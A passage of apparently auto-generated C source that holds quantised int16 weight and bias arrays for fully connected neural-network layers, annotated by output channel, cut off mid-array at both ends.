-509, -813, -1319, -687, -525, -810, -429, -236, -601, -245, 252, 1060, 204, 200, 471, -356, -54, -286, 162, -374, // 17340
-250, 838, 441, 176, 91, -197, -350, 747, -682, -770, -825, -250, 631, -218, -109, -260, 120, 44, 158, 45, // 17360
-104, -442, -391, 157, -1480, -197, 406, 836, 355, 590, 492, -1607, -531, -1085, -896, 512, -282, -1024, -111, 246, // 17380
-754, 529, -56, 1393, 431, 1718, 263, 540, -705, 17, -202, 228, 1517, -1053, 627, 71, -97, -528, -6, 537, // 17400
-179, 1058, -952, 413, -151, -1542, 1247, -380, 305, -169, 648, -856, -936, -120, -294, 223, 114, -544, 11, 1096, // 17420
-61, -159, -833, -335, 101, 344, -558, -270, 630, -10, 893, 594, -690, -98, -473, 469, 191, 293, 557, 784, // 17440
175, -417, -959, -89, -983, 948, -1451, -851, -378, -778, 36, -799, 524, -37, 1059, -272, -832, 110, -477, 1040, // 17460
// Out channel 97
-195, 934, -919, -397, 182, 115, -110, 437, 1188, 581, -846, -145, 1325, -665, 1109, -52, -142, 1043, -422, -224, // 17480
424, -54, 1422, -57, 450, -1877, -174, 658, 211, 445, 929, 804, -122, 328, 74, 123, -309, -340, -787, 1396, // 17500
-122, -166, -294, -1382, -177, 324, -299, 626, -34, 38, 522, -362, -4, 679, -162, -1186, -1627, 615, -307, -647, // 17520
1300, 732, 293, 941, 1415, 316, -69, -294, -587, 568, -628, -1758, -574, 258, -324, 42, -396, -95, 246, -354, // 17540
-53, -995, -282, -87, -1264, -250, -267, 1212, 661, -170, 147, -1281, -1231, -1077, -318, 1041, -249, -120, 260, 670, // 17560
146, -1502, -645, 957, -190, 1608, -235, 1095, -1280, 8, 696, 801, 2632, -1652, 1777, 993, -45, 173, 96, 116, // 17580
-307, -763, -484, 27, -808, -1536, 1289, 99, -120, -754, 929, 252, 684, -383, -342, -222, 817, -577, 635, 435, // 17600
-637, 153, -36, -397, 563, -117, -328, 1370, -59, 501, 1475, 23, -385, -332, -1892, 338, 198, 753, 91, -358, // 17620
573, -409, -1139, -415, -932, 1503, -535, 775, 1059, -203, 2194, -912, -380, -91, 679, -797, -523, 10, -100, 415, // 17640
// Out channel 98
-46, 1825, 1891, -124, 417, -572, 860, 890, 1079, -1289, -107, -190, 1809, 1359, 990, -242, -696, 79, 891, -944, // 17660
1028, 1462, 1495, -288, -10, -530, 709, 1965, -566, -145, 1319, -669, -417, -138, 259, 2243, 310, 306, -855, 370, // 17680
-1831, -543, -380, 411, -1248, -104, -1035, -480, -239, -64, 1369, 1661, 1174, 224, 838, 778, -773, -31, -300, -901, // 17700
847, -125, 246, -21, -623, 644, -235, -1787, 464, 28, -1352, -1408, -971, -558, -1543, -725, -2169, -494, 693, -1634, // 17720
32, -841, 547, 1189, 165, -539, 571, 206, 41, 853, 1272, -1133, 1106, -1301, -1053, 1555, 708, -417, 984, 2017, // 17740
-1304, -86, 606, 9, 2131, 757, 477, -146, -623, -261, 485, -1309, 3074, -1821, 1292, 109, -200, -307, -539, 2354, // 17760
502, -994, -277, 1828, -372, -1101, -350, -1300, -231, -465, 825, -1546, 365, -419, -180, -399, 1222, 986, 674, 625, // 17780
-52, 1419, -621, -390, 375, 1339, 303, -1417, -678, 293, 1945, 915, -385, -1333, -1038, 358, -494, 123, -479, 714, // 17800
747, 287, -611, -1248, 449, 428, -1242, 944, 1164, -272, 429, 352, -1182, -235, -309, -330, -1484, -2359, -1752, 304, // 17820
// Out channel 99
272, -324, -3810, -1179, -628, 112, -1374, -378, -145, 393, -682, 297, -592, -1264, -259, 113, -1014, 676, -1247, 223, // 17840
174, -1209, -193, 1011, 615, 473, -477, -2670, 28, 88, -157, 1874, -50, -58, 102, -2184, 66, 401, 611, 579, // 17860
1046, -156, 930, -822, 279, -475, 499, -185, -2083, 993, -680, -2720, 827, -354, -643, -154, 707, 1294, -131, 2783, // 17880
-302, 2165, 97, -931, 1304, -1645, 1455, -61, -1194, -790, 724, 1276, -361, 182, 487, -269, 914, 166, -38, 1181, // 17900
957, 128, -1399, -965, 191, -762, 1339, 504, -224, -566, -223, 789, -1890, 2830, -292, 315, -62, 663, -529, -476, // 17920
574, -1412, -44, 1084, -752, -630, -812, 328, 625, -199, -3608, 24, -725, 374, -706, -792, 1975, -300, -1376, -752, // 17940
-127, 372, 394, -220, 69, 1080, 2120, 365, 556, 94, -139, 2029, -206, -294, 364, 203, -268, -269, -347, -500, // 17960
-257, -388, -929, 377, 225, -613, -364, 1882, 1046, -108, -2662, -239, -684, 262, 1438, -77, 665, -434, 1337, 59, // 17980
-180, -630, 178, -561, 189, -1248, 436, 272, -932, 1816, 320, -1223, -137, -379, -114, 446, -78, 1679, 1902, 925, // 18000
};
const int16_t cg_SP_FC2bias[100] = { // Co,H,W,Ci: (100,)
5769, 5409, -1558, 1311, 1114, -1903, 4064, 1079, 3449, -3340, -2399, 724, -5416, 384, -3630, 408, 2699, 2180, 2164, -553, // 20
1832, -2489, -4373, -1059, 6528, 4245, 541, -3265, 2540, 2739, 898, 592, 1046, -3131, -1764, -1197, 1824, 4415, -4725, -4468, // 40
3060, 6101, 2149, -4811, -1402, 213, 1880, -2470, -13, 337, 6543, 2479, 359, -1467, 1891, 291, -181, -2410, 1778, 3594, // 60
-49, 476, 5141, -5377, -1138, 3244, 4747, 28, -1599, -1339, 958, -1851, 2907, 569, -1229, -1638, -503, -706, -1231, -1352, // 80
1337, 2729, -5058, 2988, -1223, 2157, 22, 204, -2884, 4723, 2098, 2776, -3490, 3861, 5327, 1537, 5196, 559, 1419, 2462, // 100
};
const int16_t cg_SP_FC3weit[4000] = { // Co,H,W,Ci: (40, 100)
// Out channel 0
-483, -1419, 165, -1638, -1138, 2326, 893, 253, -710, 843, 1468, 1820, 718, -2616, -1517, 291, -1895, 1157, 1471, 205, -862, -1103, 1274, 2421, -2337, -800, 545, -468, -199, -392, 2141, -2200, // 32
-1684, 2069, 1221, 888, -1982, -2323, 468, 597, -588, -1684, 1887, 537, -1128, -53, -354, 1849, -369, 1688, -2301, 138, -1135, 2486, 1881, 2365, -844, -609, -842, -2791, 556, -1181, -1608, 676, // 64
-1437, 829, -793, 935, -849, 2748, -345, -534, -519, 678, 611, -3113, -590, -1355, -331, -172, 812, -485, 618, -325, -1502, -72, -1315, -1392, 636, -947, -1794, -1795, 2738, -1229, -2145, 116, // 96
497, 1014, -267, -657,
// Out channel 1
-1291, 983, -961, -1364, -320, 1979, -1078, 610, -2664, 564, -1919, -652, -443, 739, 715, 107, -889, -657, 2005, -242, -534, 526, -8, 1353, 421, 377, -970, -139, -1569, 270, 858, 279, // 132
-1623, 1283, 74, -907, -248, 470, -215, -599, 285, 333, -220, -1014, 63, 1665, 181, 3269, 794, 1131, -254, 879, 480, 1055, -133, 1913, 2033, -614, -2498, 164, 103, -1036, -311, 1166, // 164
1030, -517, 1174, 491, -602, 417, 1058, -766, -1817, 534, 561, 414, -1206, 478, -1353, 730, 559, -1796, -1703, 1050, 1041, -924, -59, -765, 692, 442, 550, -772, -623, -1785, 129, -1629, // 196
-526, 796, 1799, -1091,
// Out channel 2
-2528, -95, 532, 140, 1073, -998, 840, -42, -2215, -815, 90, -1601, 870, 1340, 1214, 713, 527, 815, 591, -785, 861, -257, 976, 957, -491, -188, -1910, 1134, -1847, 454, -107, 636, // 232
-712, 1354, -734, -1227, -623, 676, -689, -781, -439, -430, -934, -130, -942, 2254, -340, 795, 802, 465, 631, 39, -1817, -125, -261, -275, -1762, 387, 1530, 427, -789, 269, -1077, 2019, // 264
613, -31, -542, 632, -1772, 1053, 40, -644, -1833, -1037, 686, 1208, -598, -409, 209, 1980, -356, -1757, 1753, -1730, -2140, 110, 1169, 2233, 956, 264, 930, 933, -60, 627, 1085, -1157, // 296
1156, -784, 357, -2062,
// Out channel 3
-362, -2044, -608, -738, 19, 1159, -1156, 960, -1583, 420, -265, 46, -175, -704, 1493, 597, -342, -633, 371, -322, -368, -551, -21, -731, -1669, 472, -280, 1738, -162, 820, -285, 454, // 332
-1271, 536, 145, 733, -316, -462, -1, 1138, -1874, -558, -366, 386, 294, 703, -655, -705, -306, 207, -485, -1444, -5, 709, 363, 430, 343, 752, -125, 253, -1371, 297, -1042, -873, // 364
315, 145, -693, 683, 140, -534, -192, 621, -997, 564, 275, 86, 241, 910, -575, -455, -351, -914, 588, -53, -383, 154, -113, 592, 1559, -1014, -76, 14, 153, -1097, -930, -312, // 396
-438, -226, -1162, -137,
// Out channel 4
1103, 415, -674, 679, 813, -533, 907, -854, 306, -874, -684, -944, 355, 923, 834, 1001, 690, 245, 916, -1251, 678, 887, -1007, -21, -779, 492, 603, -470, 119, 1485, -37, 1100, // 432
797, 418, -783, 115, 109, 1454, -903, -606, -333, 28, -508, -119, -712, 654, 933, -288, -38, -722, 788, 613, 123, -429, -149, 230, 148, 460, 206, 711, -1037, 457, -756, -715, // 464
241, 789, 1204, 432, -939, 336, 890, -921, 7, 560, -514, 11, 873, -556, -628, 494, 231, 569, -760, 31, -659, 740, 849, 814, 202, 818, 787, 624, -688, 1126, 689, 141, // 496
-1096, -767, 374, 19,
// Out channel 5
-1008, 470, 571, -663, -1832, 1552, -962, -992, 656, 390, 642, -114, 558, 123, 565, 25, -1143, -1005, -242, 670, -390, 309, 71, -1569, -1201, 343, -1250, 676, 126, -682, -386, 702, // 532
-1509, 665, 693, -1030, -998, -594, 305, 1636, -1671, -5, -1526, 424, 199, 1471, -1051, 244, 840, 355, 111, -369, -211, -491, -958, -594, -683, 1958, 924, 296, 207, -135, -1606, 2007, // 564
499, -97, -656, -318, -18, 193, 754, 773, -1213, -89, 515, 554, 322, 1383, -48, -630, -288, -453, 176, -398, 448, -667, -981, 771, 300, -211, 34, -1106, 782, 225, -1268, -711, // 596
-1371, 607, 303, 59,
// Out channel 6
617, -82, 634, -57, 229, -130, -883, -207, -296, 240, 234, -286, 1676, 787, 992, -135, -2225, -228, 105, 287, -640, -3, -233, -457, -837, -75, -108, 1421, -749, 187, 99, 684, // 632
793, 660, 159, -943, -223, 1, 788, 1355, -714, -460, -252, 898, 625, 1466, -147, -333, 500, 892, 54, -395, 653, 388, -312, 114, -151, 1003, 253, -1018, 321, -2, -628, 624, // 664
30, 456, -457, 574, -106, -96, -15, 299, -894, 120, 1110, -474, 369, -621, 422, -645, 14, -1027, -128, -981, 156, -832, 721, 52, 938, -640, 117, -564, -554, -1511, -338, -77, // 696
-1087, 879, 51, -793,
// Out channel 7
-428, -615, 480, 336, 225, -455, -888, -497, -1642, -178, 95, -443, 1387, -117, 1102, -391, -548, -988, 211, 15, -340, -108, 968, 632, -1086, -360, -55, 184, -17, -286, -571, 855, // 732
-93, 238, 431, 437, -435, -310, 639, 664, -787, -304, -1382, 996, 147, -175, -512, 284, 811, 942, -516, -219, 928, 1102, -878, 442, 334, 694, -578, -1149, 124, -1003, -859, 625, // 764
356, -648, -576, 1189, 467, -505, -563, 819, -1102, -1035, 751, 789, -812, 351, -245, 196, -170, -66, 544, 264, 758, -1011, 377, 865, 1130, -556, -79, -1075, -888, 65, -759, -22, // 796
-41, 672, -835, -224,
// Out channel 8
-782, -1431, 133, -883, -71, 817, 315, 111, -2105, 410, -160, -428, 1159, 919, 1094, -546, -1370, -222, 483, 1043, -173, -136, 1158, -69, -1346, -1283, -227, 254, -881, 279, -449, 1012, // 832
410, 775, 401, -1130, -1216, -1080, 1546, 2326, -1330, -985, -179, 886, 1119, 1826, -648, 535, 326, -80, -537, 229, 743, -251, -946, 837, 694, 576, 448, -246, 555, 139, -1476, 768, // 864
617, -508, -568, 1245, -510, 279, -380, -772, 2, 149, 414, 555, -164, 573, -415, -313, 822, -1338, 303, -1123, 300, 195, 926, -274, 1398, -8, 649, -951, 616, -735, -47, -365, // 896
-70, 84, -547, -131,
// Out channel 9
1022, -2109, 1654, -138, -1085, 1128, -260, -445, 918, 210, 1184, 129, 1801, -556, -510, -2084, 995, -39, 435, 226, 470, 880, -781, 1222, -1805, -87, 69, -280, 666, 1257, 536, -616, // 932
-223, 90, -1340, 2554, 883, -540, 152, 170, -2405, -722, -285, 4122, 198, -1313, -59, -694, 738, -1142, -1673, -1530, 303, 502, 1819, 122, 183, 594, -1207, -1976, -225, 447, -232, -415, // 964
-736, -904, -674, -1082, 900, -621, 108, 3810, -167, 211, 704, -2152, 818, -518, -1449, 49, 2155, 538, 766, -1813, 232, -232, -404, 968, 491, -386, -265, 763, 396, 504, -1778, 642, // 996
-2169, -102, -1376, -2173,
// Out channel 10
370, -494, 1859, -2059, -948, 1191, -633, 368, -1926, -268, 4223, 247, 2139, -899, -829, -1229, -525, -414, -640, 73, -1018, -134, 83, 1456, -2404, -40, 1255, 252, 493, -784, 428, -410, // 1032
-1995, 641, 149, -654, 259, -376, 729, -1084, -908, -243, 17, 1280, 305, -718, -970, 214, -1509, -14, -2307, 230, -2733, 478, -1087, 22, -1335, 967, 717, -898, 598, -3604, -1256, 498, // 1064
-478, -366, -3, -1240, -189, -680, -1184, 2518, 646, -552, 1274, 557, -821, -568, 1866, -582, 432, -226, 1623, -112, -983, -232, -485, 740, -289, -538, -268, -479, 590, -238, -2171, 28, // 1096
-2120, 1872, 1218, 707,
// Out channel 11
-1879, -1547, 832, 333, -51, -886, -2367, 1093, -1730, 2145, -1576, 162, 607, 286, 626, -1098, -2071, 309, 1049, 1443, -1694, -877, 689, -1257, -305, 15, 135, 3068, -23, -969, 1235, 434, // 1132
-2076, -257, 311, 440, -76, -1248, 2221, 929, -576, -1709, -838, 1918, 767, 1517, -1771, -433, 397, -12, -504, -2499, 2590, 626, 1360, 805, 1304, 172, -1727, 835, 1392, -173, 498, 417, // 1164
-200, -4033, -543, -971, 254, -184, -303, 2991, 42, 727, 1196, -366, 507, 251, -675, -1387, -1874, 63, 1529, -927, 647, -3122, 151, -775, 928, -1514, 530, -1518, 17, -901, -341, -1307, // 1196
-986, 933, 375, -516,
// Out channel 12
-1001, -432, 15, -628, -452, -439, -159, 61, -1262, 521, 445, -19, 1293, 632, 902, 960, -751, 660, 116, 770, -311, -466, 540, 329, -900, 181, 191, 1143, -586, -992, -311, 467, // 1232
-1122, -883, -238, 819, 29, 253, 697, 820, -297, -553, -1213, 458, 156, 865, -777, 342, 164, 681, -583, -1227, -251, 1412, -268, -180, -121, 1841, 175, -1613, -894, -524, -304, 166, // 1264
204, -550, 268, 604, 1162, -715, -1036, 452, -1478, -819, 636, -500, 1150, 347, 528, 371, 195, -952, -15, -636, 306, -596, -387, -28, 1471, -676, -124, -1163, -776, -188, -128, -354, // 1296
-156, -320, 268, 755,
// Out channel 13
-670, -930, 622, -1478, -1245, 1456, -1053, -101, -995, -515, -54, -21, 1060, -123, 279, 264, -192, -504, 454, -139, 589, -268, 263, 496, -830, -459, -1069, 461, 62, -1141, -361, 789, // 1332
-1718, -182, -282, -294, -557, -247, 242, 720, -1586, -605, 214, -175, 646, 295, -780, 389, 730, 1005, -1659, -190, -145, 285, -103, 302, 152, 2368, 72, -886, 58, -1356, -939, 1112, // 1364
-36, -482, -347, -476, 872, -452, 317, 149, 605, -390, 1764, 492, 416, 437, 645, 28, 2187, -956, 70, -1737, -124, -1260, 144, -1289, -554, -1210, -888, -176, 875, -1122, -997, -1415, // 1396
-829, -171, -595, -147,
// Out channel 14
-577, -279, -723, -306, -376, 163, -173, -101, -1262, 324, -300, -222, 1249, 882, 662, 629, 524, -135, 598, -145, -288, -106, 493, -831, -1387, -820, -209, 806, -443, -472, 489, -244, // 1432
290, 144, 923, -478, -684, -111, -55, 1509, 197, -69, -114, 141, 460, 95, -563, 631, 214, 330, -819, -126, 527, -242, 407, -45, 532, 770, -59, -501, 283, -48, -1381, -234, // 1464
1029, -469, -943, 628, 215, 318, -779, -951, -1322, -163, 90, 616, 115, -72, 762, 366, 260, -493, -379, -473, -84, -1057, 909, 648, 915, -464, 177, -583, 144, -758, -767, -685, // 1496
-1679, 58, -426, -385,
// Out channel 15
264, -1889, 1556, 734, 616, -197, 821, -1118, -1007, -850, 410, -1327, 2644, 896, 734, -1154, 333, 571, 875, -1051, 183, 878, -1903, 1378, -800, 2014, -1131, 1134, -1272, 1444, 619, 948, // 1532
154, -3001, -1133, 305, 1380, 644, -873, -185, -3499, -1141, -785, 3099, -1101, 779, -211, -480, 3984, 873, 458, -1796, -1533, 493, 857, -528, -106, 958, -213, 598, -695, 838, 236, 929, // 1564
-633, -2482, 384, -1320, -563, -1159, 280, 2797, -1910, 167, 497, -390, 701, -600, -535, -266, 1742, -665, -892, -3738, -275, -1382, 1076, 403, 3527, 599, 930, 603, -1425, 1127, 179, 482, // 1596
-2363, -63, -804, -1701,
// Out channel 16
-1068, -681, -531, 411, 33, -75, 135, 1055, -750, 210, -513, 19, 513, 762, 451, 336, 154, -343, 111, -159, -306, -548, 611, 138, -1825, -1309, -597, 371, -508, -1377, 605, 740, // 1632
710, 2079, 759, -549, -1701, -1190, 210, 726, -462, -716, -405, 624, -101, 598, 204, 1544, -671, 184, -736, -220, 347, 1053, -1050, 183, -525, 538, -708, -241, 10, -244, -1403, 1145, // 1664
-386, -528, -1256, 868, -1364, -63, 166, 352, -1101, 537, 142, 312, -1028, -436, -415, 684, 380, -1330, 410, -5, -274, -585, 118, 684, -219, -177, -1173, 1, 210, -1839, -370, -500, // 1696
-681, 125, -1084, -647,
// Out channel 17
-1079, -271, -392, -871, 28, 14, -274, -472, -463, 8, 764, -145, 1199, 308, 887, 28, -1203, -706, 14, 308, 606, -202, 1565, -388, -1886, -189, -797, 757, 406, -332, -745, 1246, // 1732
165, -54, -438, 563, -986, -950, -328, 1365, 15, -822, -214, 283, 757, 933, 189, 314, 30, 552, 152, 273, -416, 582, -180, 311, 299, 591, 26, -136, 466, 1, -1162, 1461, // 1764
-129, -332, -628, -52, 942, -84, -1077, 278, -542, -268, 91, 267, -236, 679, -927, 86, 612, -755, 255, 814, 320, -385, 108, 86, 1060, -1121, -677, -102, 576, -1000, -738, -113, // 1796
-284, -218, -778, 136,
// Out channel 18
170, -468, 861, -620, -451, -8, -559, 288, -2094, 626, 652, -1430, 892, 1116, 2265, 771, -178, 177, 184, -134, -4, -258, -115, -321, -1182, -801, -710, 101, 468, -285, 85, 555, // 1832
438, 794, 322, -1112, -209, -10, 367, 2268, -631, -1032, -506, 1586, 284, 371, -208, 901, 579, 152, -1023, -1163, 1027, 569, 96, -48, 39, 244, -273, -775, 77, 614, -576, 38, // 1864
252, -1126, 189, 84, -339, -23, -1473, 218, -614, 308, -48, 91, 58, -464, -815, 15, 120, -1443, 499, -321, 50, -1064, -608, -275, 418, -831, -772, 164, 958, -1425, -425, 508, // 1896
-780, 466, 394, 55,
// Out channel 19
-2778, -2143, 1864, 154, -90, 448, 128, 1075, -2412, -307, -15, -1038, 1901, 930, 1177, -191, 33, 330, 778, 89, 228, -1118, 1670, 1779, -346, 156, -2727, 2192, -2464, 360, 248, -113, // 1932
-1263, 428, -391, 12, -299, -967, 81, 216, -1741, -1191, -484, 1472, -57, 1578, -1495, 939, 2279, 2231, -293, -1228, -1910, 759, -35, -357, -1074, 1294, -880, 198, -337, 530, -495, 3634, // 1964
-86, -1797, -2219, -655, -1353, -76, -368, 2065, -3179, -164, 1526, 627, -864, -69, -400, 769, 930, -2666, 1991, -2654, -402, -1368, 369, 944, 2393, -362, 742, 3, 109, -747, -377, -824, // 1996
436, -553, -178, -3031,
// Out channel 20
492, -441, -733, 670, -2184, -16, -1785, -444, -1122, 1486, 490, 924, 211, -895, -383, -1850, -1484, 2142, 663, 2855, -2259, -657, -191, -70, -470, 97, 1859, 662, 236, 386, 2348, -1364, // 2032
-793, 287, 1330, 2078, -299, -2113, 1951, -158, -308, -1224, -36, 1095, -2211, -1588, 240, 586, -1163, 1686, -862, -1024, 1207, 56, 1588, 857, 936, -1725, -705, -608, 2000, -200, 465, -454, // 2064
-2419, -81, 844, 158, 94, -467, 1085, 1613, 979, 1100, -97, -1074, -1744, -2338, 1962, -1859, -1293, 289, 447, 567, 463, 164, -2121, -2171, 1072, -2285, -154, -1785, 1476, -157, -465, 487, // 2096
931, 3077, 87, 310,
// Out channel 21
-332, -1426, 447, -915, -356, -578, -637, 244, -781, 756, -380, -308, 1302, 689, 1079, 321, -950, 367, 204, -216, -643, -1028, 551, -853, -1473, -207, -514, 1262, -627, 216, 138, 1024, // 2132
-524, -514, 453, -841, -289, 117, 1009, 1130, -789, -846, 112, 734, -278, 300, -909, 1157, 245, 772, -908, -831, 483, 668, 70, 592, -183, 1113, -193, -360, 834, -557, -772, 378, // 2164
138, -421, -1039, 583, 957, -791, 90, 775, -697, -293, 748, -34, 46, 401, -407, -299, 471, -970, 1352, -282, -44, -924, 610, -299, 591, -864, 94, -766, 548, -227, 102, -362, // 2196
-369, 861, 96, -470,
// Out channel 22
-1017, -1631, -79, -442, 119, 421, -1555, -380, -726, 567, 605, 187, 105, 633, 168, -146, -439, -458, -315, 179, -663, 153, 731, 74, -490, -687, -757, 1324, 125, -842, -922, 1265, // 2232
-166, -235, 424, -92, 609, -100, 1100, 683, -444, -646, -663, 1087, -360, -185, -177, 289, 335, 185, -1033, -456, 1004, 409, 153, -668, 940, 548, -1016, 91, -69, -454, -565, 544, // 2264
1135, -1313, -984, -746, -177, -386, -753, 37, -807, -508, -125, 671, 361, 565, -568, 135, -160, -835, 792, -1180, 33, -904, 435, 381, 374, -1079, -411, -1287, -465, -830, -1021, 281, // 2296
230, -292, -516, 983,
// Out channel 23
37, -243, 1373, -535, 823, 300, -422, 520, -1903, -404, -258, -523, 1085, 670, 1477, -497, -309, -1052, -56, 440, 293, 14, 1323, -88, -451, -367, -261, 851, -712, 493, -699, 604, // 2332
338, 1542, -11, -1187, -447, -570, -197, 816, -623, -449, -1001, 237, 447, 1242, -487, -369, 1019, 38, -1130, -220, -296, 587, 171, 802, 648, 1111, -139, -375, 992, 60, -2187, 639, // 2364
444, 579, 18, -140, 272, 653, 451, 163, -510, -1285, 1081, 595, 349, -475, 297, -742, 13, -889, -180, -882, -293, -336, 742, 213, 1570, -1341, 357, -675, -287, -989, -1038, 434, // 2396
-866, -149, 192, 671,
// Out channel 24
-288, -1549, 260, -1429, -699, -88, 59, 965, -438, -1214, -901, -240, 1425, -31, -1104, -255, 694, -1181, -986, 523, 745, -836, 604, -1322, -335, -2417, 754, 1910, -389, -1942, -841, -334, // 2432
-246, 718, 742, 592, 172, 926, -1180, 1607, -970, -955, -229, 589, 2005, 179, 70, 1044, 97, 1453, 829, -1980, 2012, 1019, 571, -1312, 1366, -1287, 66, 244, 661, -737, -844, -113, // 2464
760, -1464, -1586, 387, 863, -648, -673, 711, -382, -1382, 469, -281, -414, 1246, 828, -1073, -832, -422, 532, -925, 1139, -2303, -342, -1046, 115, 875, -658, 1183, -766, -1710, 452, 930, // 2496
-979, 157, -1518, 55,
// Out channel 25
-572, -610, 242, -2516, -323, 1311, -265, 447, 513, 793, -650, -636, -180, 738, 961, -1091, -347, -1297, -1833, -882, -846, 751, -308, -1395, -182, -738, -2291, -468, 41, 191, -1358, 587, // 2532
1071, -287, -887, -1366, -611, 38, 432, -264, -1267, 73, -566, 391, 1248, -408, -136, 1286, 870, -743, -241, -147, -267, 954, -2527, -599, -186, 676, -132, -83, -556, -915, -605, 378, // 2564
933, 1058, -857, 558, -60, -187, -413, 406, -1086, -1862, 112, 1683, 1251, 962, -335, -27, 1897, -805, -134, -2417, 314, 1170, -239, -2, -226, -378, 300, -196, -727, 1067, -741, -1477, // 2596
-789, 516, -685, 31,
// Out channel 26
-685, -771, -707, -365, -493, -526, -1528, 649, -1548, 114, 191, -1125, 960, -385, 766, -168, 152, 118, 135, 1076, 128, -8, 198, -116, -1091, -304, 145, 740, -376, -362, 391, 457, // 2632
-1200, 1286, 331, -540, 105, -490, 59, 1234, 500, -691, -272, 1062, -357, 899, -884, 964, 1064, 452, -493, -376, -116, 1123, 426, 669, -404, 373, 279, -793, -532, 28, -593, 580, // 2664
7, -122, -818, -6, 932, -940, 612, 866, -876, -614, 340, 110, 353, 222, 310, -212, 315, 119, 240, -1463, 166, -710, -207, -2, 759, -1413, -778, -426, 408, -242, -342, 124, // 2696
-771, 960, -218, -331,
// Out channel 27
65, -303, 413, 174, 88, -562, -1181, 665, -643, 835, -270, -678, 1078, 1026, 293, 32, -1174, 17, 290, -1140, -238, -713, 299, -456, -1853, -523, -365, 778, -556, -313, 454, 632, // 2732
-367, 595, 798, -768, 561, -512, 22, 1754, -77, -903, -249, 1032, -1011, 1345, -553, 1259, 341, -159, -524, -701, 426, 474, -110, -425, 397, 834, 139, -407, 56, -250, -1199, 966, // 2764
349, -254, -368, 476, -437, -387, 136, -333, -1564, -430, 446, 1148, 734, 982, 43, -665, -624, -1001, 1001, -693, 776, -561, 189, -449, 840, -9, -2, -537, -353, -1050, -171, -245, // 2796
-755, -11, -73, 36,
// Out channel 28
2305, -1617, 1489, 799, 1364, 150, -624, 1496, -1641, 373, 837, -1055, 734, 2077, -1061, -2060, -820, 1623, 718, 233, -951, -2403, -512, -1313, -465, -798, -2116, 1912, -376, 247, 1742, 735, // 2832
-1165, -1559, 451, 855, -797, -372, 1094, 1111, -860, -1356, -809, 608, -371, 700, -1279, 643, 558, 1666, -795, -1509, 29, 1553, 852, 1778, -1057, 30, 1273, -491, -122, 1012, -1423, -1393, // 2864
-1430, -1430, 202, 38, 1783, 826, -938, 833, -1702, 643, 1503, -269, -1716, -1766, -902, -687, 285, -883, -289, -24, 2640, -1480, 1413, -1921, -41, -471, -1993, -800, 1654, 813, -425, 1226, // 2896
214, 1012, -1580, 2003,
// Out channel 29
-1171, -203, -131, -935, -216, 381, -966, -83, -1304, 53, 582, -231, 653, 667, 655, -576, -464, 38, -130, 183, -367, -500, 842, 24, -1129, -1182, 78, 1281, -426, 283, 44, 814, // 2932
-659, 79, -311, 186, -577, -206, 589, 1017, -702, -719, -1097, 1073, 1135, 959, -665, 68, 282, 302, -710, -634, 505, -138, 350, -430, -1, 1131, 327, -145, 557, 92, -955, 727, // 2964
197, -994, -247, 394, 640, 247, -805, 423, -1045, -473, 894, 581, 197, -239, 93, 356, -204, -562, 271, -974, 168, -648, 280, -205, 640, -1332, -766, -243, -575, -392, -1145, -392, // 2996
-1199, 351, 595, -128,
// Out channel 30
-655, -984, 72, 1592, -1425, 445, -1643, -697, -695, 1903, -25, 56, 714, -1178, 3191, 517, -2039, -730, -1066, 1232, -2125, -1020, 867, -1092, -854, -293, 133, 147, 217, 14, 26, -1549, // 3032
1629, -621, 2138, -329, -1062, -2021, 1945, 2586, -552, -1457, -803, 1066, -1534, 541, 200, 936, -82, -280, -873, -602, -766, 398, -834, 996, -1062, 687, -806, -316, 800, 2119, -1446, 562, // 3064
-321, -1089, -131, -33, 2060, -900, 515, 128, 693, -360, 16, -142, -243, -25, 2303, -1465, -643, -293, 1182, -320, 2244, -61, -1554, -1891, -306, -901, -1181, -2694, 771, -48, -1067, -364, // 3096
9, 215, 219, -3,
// Out channel 31
73, -1553, 73, -612, 1840, -1172, -1398, -389, -1140, 1305, -2299, -1226, 279, 581, 813, -364, -1595, -713, 1003, -700, -1251, 148, 7, -1340, -671, 967, 261, 1819, 691, 1019, -318, 1165, // 3132
-1345, -45, -98, -1557, -233, 1142, 1248, -278, 223, -2797, -735, 810, -661, 1942, -389, -589, -278, -1913, -298, -1958, 1811, -578, -808, 860, 526, 1952, -1141, 735, -898, -896, -701, -802, // 3164
1418, -1053, 452, -397, -347, -405, -212, 540, 156, -672, 183, 1770, 923, 628, -1152, -407, -1235, 392, 970, 800, -222, -1087, 1579, 339, -568, -1107, 1695, -1035, -1870, 1035, -766, -1697, // 3196
-1347, -935, 1905, 9,
// Out channel 32
-661, -1599, 594, -558, -50, -320, -403, -244, -61, -282, -590, -371, 1010, 977, 223, 435, -277, -602, 55, 283, -17, -338, 940, -285, -1859, 471, 1069, 1239, 14, 171, 1040, -20, // 3232
714, 719, 445, -55, -531, -129, -140, 1647, -451, -300, -1071, -199, -543, 1120, -767, 328, -206, 1164, -384, -349, -243, 1299, 305, 74, -153, 196, -687, -378, 584, -874, -1294, 964, // 3264
88, -407, -610, 221, 501, -173, 460, 284, -1995, 827, 1396, 566, -435, 1340, -425, -166, -590, -477, 704, -137, -147, -361, -83, -126, 910, -1305, -1076, -443, 296, -385, -687, 288, // 3296
-1361, 265, -1100, 923,
// Out channel 33
-378, -752, 114, -137, -683, -108, -1088, 279, -1449, 507, 154, -485, 1986, 55, 855, 216, -249, -614, -531, 758, -1120, -25, 1448, -60, -1852, -694, 162, 224, -904, -573, -44, 87, // 3332
-728, 619, -424, 235, 208, -1002, 342, 1124, -600, -1263, -1010, -38, -104, 508, -227, -53, 576, 342, -323, 108, 658, 550, 428, -44, 291, 1106, -429, -946, 767, 160, -1500, 222, // 3364
165, 97, 205, -282, 30, 34, -1122, 733, -807, 333, 111, -585, -1026, 57, 885, 593, 441, 100, -540, -1007, 510, -210, -379, 864, 343, -868, -676, -948, 64, -815, -233, -74, // 3396
-722, -705, -117, 175,
// Out channel 34
-458, -1146, 619, -309, 447, -132, -567, 411, 72, 204, 397, -291, 1239, 216, 1222, 97, -361, 350, -531, -394, -334, -80, -16, 76, -481, -257, 261, 745, -546, -483, 422, 288, // 3432
100, 236, 418, 7, -87, 207, 32, 1604, -270, -877, -209, 221, -115, 733, 329, 524, 345, 52, -316, -663, 924, -16, -165, 261, -456, 666, 421, -307, 230, -357, -1056, 515, // 3464
-126, -459, -389, 480, 976, -4, -527, 717, -954, -534, 201, -244, -56, -600, -257, -104, 180, -664, 660, -97, -264, -487, -526, -382, 636, -849, -608, -881, 64, -1716, -853, -689, // 3496
-715, -25, -153, -322,
// Out channel 35
